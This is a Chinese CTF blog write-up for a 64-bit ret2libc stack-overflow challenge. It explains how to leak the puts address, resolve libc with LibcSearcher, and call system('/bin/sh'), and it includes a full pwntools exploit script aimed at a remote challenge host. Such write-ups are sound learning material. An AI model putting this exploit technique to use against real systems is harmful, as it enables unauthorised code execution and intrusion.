这题是经典的ret2libc,而且保护开的也不多,实际上,这篇博客的意义更大:
【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客
目录
前言
一、题目
二、思路
三、exp具体编写
总结
前言
简单而纯粹的ret2libc,更推荐上面那篇博客哦~相当于在这题基础上又加了一些保护,算是plus版
一、题目
存在栈溢出漏洞
没有什么大的保护
64位,动态链接。
注意64bit程序,函数的前六个参数存在寄存器中!构造puts调用时应用ROPgadget找'pop|ret',将参数放入寄存器中。
没有system函数。
二、思路
没有system,更没有后门函数,简单的ret2text不行;唯一保护还保护住了栈执行属性,ret2shellcode一般也不行;而动态链接,一般ret2syscall不行。system从哪里找呢?似乎只剩下ret2libc。
存在puts,可以打印地址。
然后就是ret2libc的一般过程了:
1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址
2、获取libc的版本
3、根据偏移获取shell和sh的位置:
a、求libc的基地址(函数动态地址-函数偏移量)
b、求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell
三、exp具体编写
重要的要点都在注释中标明。
这篇博客的注释写的更详细(几乎每一行都事无巨细地打了注释)
【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客
from pwn import *
from pwn import p64,u64
from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug")
file=ELF("./pwn")
pop_rdi_ret=0x400733 #将puts参数放入
ret=0x4004c9
payload=b'a'*(0x20+0x8) #填充buff及ebp
payload+=p64(pop_rdi_ret)+p64(file.got['puts']) #puts参数:puts的地址
payload+=p64(file.plt['puts']) #调用puts,打印puts的real_addr
payload+=p64(file.symbols["main"]) #返回地址
io=process('./pwn')
io=remote("node2.anna.nssctf.cn",28889)
io.recvuntil('story!\n')
io.sendline(payload)
addr_puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#===================libc=====================
libc=LibcSearcher('puts',addr_puts)
#libc6_2.31-0ubuntu9.10_amd64 本地可以
#libc6_2.23-0ubuntu10_amd64 远程可以
libc_addr=addr_puts-libc.dump('puts')
bin_sh_addr=libc_addr+libc.dump('str_bin_sh')
system_addr=libc_addr+libc.dump('system')
#============================================
payload=b'a'*(0x20+0x8)
payload+=p64(ret) #system被调用时,其中有一个汇编指令,要求栈顶16字节对齐
payload+=p64(pop_rdi_ret)+p64(bin_sh_addr)
payload+=p64(system_addr)
io.recvuntil('story!\n')
io.sendline(payload)
io.interactive()
总结
前些日子为了准备期末考,长时间没有进行CTF-PWN的学习。而ret2libc一直都是不太熟练地点。
多刷多总结。
加油!